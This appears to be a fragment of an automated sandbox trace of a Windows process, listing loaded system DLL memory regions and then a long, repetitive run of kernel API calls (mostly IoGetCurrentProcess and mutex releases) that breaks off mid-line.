mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9961 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9962 start_va = 0x4780530000 end_va = 0x4780530fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780530000" filename = "" Region: id = 9963 start_va = 0x47839e0000 end_va = 0x4783bf7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047839e0000" filename = "" Region: id = 9982 start_va = 0x4780530000 end_va = 0x4780532fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780530000" filename = "" Region: id = 9983 start_va = 0x4780540000 end_va = 0x4780540fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780540000" filename = "" Region: id = 9984 start_va = 0x47821c0000 end_va = 0x4782203fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047821c0000" filename = "" Region: id = 9985 start_va = 0x4783c00000 end_va = 0x4786a95fff entry_point = 0x4783c00000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 9986 start_va = 0x4786aa0000 end_va = 0x4786e99fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004786aa0000" filename = "" Region: id = 9987 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9988 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9989 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 9990 start_va = 0x4786ea0000 end_va = 0x4786fa2fff entry_point = 0x0 region_type = private name = "private_0x0000004786ea0000" filename = "" Thread: id = 875 os_tid = 0xab0 [0145.449] EngAllocMem () returned 0xfffff9014251f030 [0145.449] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.449] MmMapViewOfSection (in: SectionObject=0xffffc0000123d990, Process=0xffffe00001078440, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0x47839e0000, SectionOffset=0xffffd000209f2ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0145.449] EngCreateBitmap () returned 0x5f050579 [0145.449] EngAssociateSurface () returned 0x1 [0145.449] EngLockSurface () returned 0xfffff901409dbcb8 [0145.449] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00000b1f1d0 [0145.449] KeInitializeEvent (in: Event=0xffffe00000b1f1e8, Type=0x1, State=0 | out: Event=0xffffe00000b1f1e8) [0145.450] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.458] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0145.485] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.487] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.489] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.490] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.490] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.490] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.490] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.490] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.490] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.502] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.502] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.502] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.515] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.515] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.515] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.515] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.516] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.516] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.516] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.516] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.517] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.517] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.520] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.520] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.520] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.562] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.563] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.563] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.563] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.563] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.563] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.564] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.564] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.564] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.564] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.565] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.576] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.577] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.577] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.578] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.578] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.578] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.580] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.580] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.580] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.653] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.653] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.653] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.655] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.667] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.667] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.684] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.684] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.684] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.684] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.684] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.685] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.685] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.685] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.685] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.685] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.694] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.694] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.695] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.695] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.695] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.696] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.696] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.710] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.710] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.710] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.770] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.782] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.782] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.782] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.783] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0145.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.783] IoGetCurrentProcess () returned 0xffffe00001078440 [0145.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 